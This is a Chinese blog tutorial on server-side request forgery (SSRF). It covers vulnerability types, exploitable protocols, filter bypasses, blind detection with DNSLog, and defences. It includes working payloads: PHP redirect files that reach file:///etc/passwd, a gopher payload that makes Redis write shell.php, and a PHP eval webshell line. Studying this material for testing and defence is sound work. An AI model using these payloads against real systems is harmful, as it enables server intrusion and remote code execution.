一直准备把之前在CSDN写的内容都翻新一下重新搬运到现在的博客下,今天偶然遇到了一个可能存在SSRF的漏洞点,但是很多细节一瞬间没办法想起来了,正好趁现在来整理整理。

简介

服务端请求伪造(Server Side Request Forgery, SSRF),是一种攻击者在不具有服务器权限的情况下,利用服务器的漏洞来伪装成服务器发起请求的攻击。由于此时请求是由服务器发起的,所以在一般情况下,SSRF攻击的目标一般为外网无法正常访问的内部系统。

简单来说:利用一个可向外发起请求的服务器当作跳板访问其他服务。

SSRF漏洞分类

根据是否回显可以划分为3类:

  1. Basic SSRF:在响应内容中返回结果。例如,传送一个网址,会直接返回这个网址的界面或对应的html内容。
  2. Blind SSRF:响应中不返回服务器中的任何信息。
  3. Semi SSRF:响应中不返回请求结果的所有详细信息,但是会暴露一些数据信息。

常见参数(测试时可额外留意)

share、wap、url、link、src、source、target、u、3h、display、sourceURL、imageURL、domain、……

SSRF原理

SSRF大多是由于服务端提供了从其他服务器应用获取数据的功能,并且没有对目标地址做正确的过滤与限制。攻击者就有可能从服务器访问指定URL的网页文本内容、加载预定地址的图片、文档等,或者说篡改获取资源的请求发送给服务器(且服务器未检查这个请求是否是合法的),然后服务器以他的身份来访问其他资源。

在PHP中以下函数的使用不当可能会导致SSRF:

1
2
3
file_get_contents()
fsockopen()
curl_exec()

SSRF危害

  1. 扫描内网,获取内网主机端口开放情况等信息
  2. 读取任意文件,使用file://协议读取
  3. 与内网服务交互,进而造成远程代码执行。例如,如果主机上开放了Redis等服务,可进行RCE:gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20/tmp
  4. 攻击外部服务,例如用于DDOS等
  5. ……

可利用协议

如果发现了SSRF的漏洞点,那么就可以通过一些伪协议来实现一些功能。

  • file:// 从文件系统中获取文件内容,例如file:///etc/passwd
    • file协议后需要加文件的绝对路径
    • file协议访问的是本地的静态资源
    • 条件:allow_url_fopen:off/on allow_url_include :off/on
  • dict:// 字典服务协议,访问字典资源,例如dict:///ip:port/
    • 功能:探测内网主机、探测端口开放情况、执行命令
    • 执行命令:dict://ip:port/命令:参数
    • 一般用dict://ip:port/info探测端口应用信息
  • gopher:// 分布式文档传递服务,可用gopherus工具生成payload
    • 通过gopher协议,可以利用其对内网资源进行访问,使用gopherus可以针对不同服务来构造利用该服务器进行内网资源访问的payload
    • gopher协议一般在SSRF的利用中,用来攻击redis、mysql、fastcgi、smtp等服务
    • 用法:gopher://:/,其中gopher-path就是发送的请求数据包
    • gopherus使用(以MySQL为例):如果对方没有给数据库设置密码的话,就可以通过其得到数据库中的数据,并且也可以上传恶意文件到他的系统中:gopherus --exploit mysql即可得到payload,具体使用见工具官方文档。

绕过姿势

使用@绕过

例如:http://www.baidu.com和http://yosheep.com@www.baidu.com相同,都是解析道`www.baidu.com`。可以绕过一些正则匹配,比如他限制了只能访问yosheep.com下的资源,这样能够绕过这个正则,并且访问到百度。

原理:解析URL时的规则问题,NodeJS url、Perl URI、Go net/url、PHP parser_url以及Ruby addressable解析函数解析url地址时,都会解析@符号后的地址,只有使用curl请求时,解析url才会解析到@前的地址。

使用域名

如果手上有可控域名,可以将域名指向想要的地址。

进制转换

可以将ip地址转换为八、十、十六进制,也就是将每一段的ip都用其他进制来转换。

例如,127.0.0.1还可以表示为:

​ 十进制:2130706433

​ 八进制:0177.00.00.01

​ 十六进制:0x7f.0x0.0x0.0x1

本地回环地址的简写

127.0.0.1一般用以下方式也可以表示:

这是因为ipv4地址中的缺失都会被填充为0,进而,127.1.0.1也可以被表示为127.1.1。

特殊字符绕过

例如,127.0.0.1等同于127。0。0。1

近似表示

127.0.0.1也可以表示为① ② ⑦.⓿.⓿.①,这是因为它们是全角数字字符(也叫Unicode数字字符),这些字符在某些情况下可以作为数字来表示,并且具有与常规阿拉伯数字相对应的值。

  • ① 对应的是 Unicode 字符 U+2474,表示数字 1。
  • ② 对应的是 Unicode 字符 U+2475,表示数字 2。
  • ⑦ 对应的是 Unicode 字符 U+2476,表示数字 7。
  • ⓿ 对应的是 Unicode 字符 U+24FF,表示数字 0。

短链接绕过

有时可能会存在过滤特定IP或域名的情况,可以尝试制作短链接

image-20241223085106440

302跳转绕过

当被限制只能使用http或https协议时,可通过Header函数绕过限制,例如在一个vps上创建一个文件,其中内容可以为:

1
2
3
<?php	header("Location: file:///etc/passwd");?>
<?php header("Location: dict://127.0.0.1:1234/info");?>
<?php header("Location: gopher://127.0.0.1:1234");?>

此时将其放置到vps中,即可通过http(s)://vps地址来实现目的。

或是远程加载,创建一下302.php文件:

1
2
3
4
5
6
7
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$scheme = $_GET['s'];
$data = $_GET['data'];

header("Location: $scheme://$ip:$port/$data"); ?>

使用ssrf漏洞点远程访问,可以得到以下payload,用于写webshell:

1
http://vulnerable.com/ssrf.php?ip=127.0.0.1&port=6379&s=gopher&data=_CONFIG%20SET%20dir%20%2Ftmp%0D%0ACONFIG%20SET%20dbfilename%20shell.php%0D%0ASAVE%0D%0A

构造出来的payload其实就是:

1
gopher://127.0.0.1:6379/_CONFIG%20SET%20dir%20%2Ftmp%0D%0ACONFIG%20SET%20dbfilename%20shell.php%0D%0ASAVE%0D%0A

gopher的payload:

1
2
3
_CONFIG SET dir /tmp
CONFIG SET dbfilename shell.php
SAVE

写文件内容:

1
2
3
4
CONFIG SET dir /tmp
CONFIG SET dbfilename shell.php
SET webshell "<?php @eval($_POST['cmd']); ?>"
SAVE

使用DNSLog实现无回显SSRF探测

被问倒了被问倒了,前两天面试被问到如果遇到SSRF没有回显的情况下如何利用,一时大脑短路没想起来,专门去看了一圈才发现,去年ciscn的时候,web就有一题是这种情况。以此篇总结一下。

当SSRF有回显时,可以直接看到服务器的响应,也可以帮助我们确认漏洞是否存在或查看返回内容。而无回显的情况下意味着服务器不会直接将访问结果返回给我们,就增加了一些利用难度。

原理:即使服务器不会返回请求结果,但是DNS查询是可感知的,我们可以让服务器访问一个带有自己控制的域名,监控域名解析记录,以此确认SSRF是否成功。

一些在线的DNSLog平台:

1
2
http://ceye.io
http://www.dnslog.cn

如果有自己的服务器和域名,可以使用github上的一个工具搭建自己的DNSLog平台:https://github.com/BugScanTeam/DNSLog

DNSLog平台的使用

例如,使用www.dnslog.cn,点击`Get SubDomain`,可以获取到一个三级域名,访问该域名后,就可以得到一条解析记录:

image-20241225113045094

但是如果访问这个域名多次,会发现并不会无限的产生记录,这是因为DNS缓存了的原因,碰到一个新的域名,如果不知道它的地址的话,在多次查询后,就会得到记录,也就不会有新的记录产生。

此时可以选择在域名之前加入一个1.xxx,使其变成新的域名,再重新访问后就有记录了。

image-20241225140204800

使用DNSLog判断是否存在SSRF漏洞

当ssrf的漏洞点无回显时,就可以借助DNSLog来判断漏洞点的存在,在ssrf的利用点使用平台生成的域名访问,如果在dnslog平台上得到解析,就可侧面证明漏洞点的存在,可进一步配合其他漏洞点利用。

SSRF的防护思考

  • 过滤返回消息,验证服务器返回的内容是否存在敏感信息。
  • 禁用高危协议,例如:file、gopher、dict等,通过设黑名单或设置白名单只允许http/https协议。
  • 禁止302跳转,或每跳转一次都进行校验目的地址是否为内网地址或合法地址。
  • 设置URL白名单,设置只允许访问特定的、允许的url地址,一般用于需要访问的url范围较小的情况。
  • 限制访问内网IP
  • 限制请求的端口为http的常用端口,或根据业务的需求开放的远程调用服务的端口。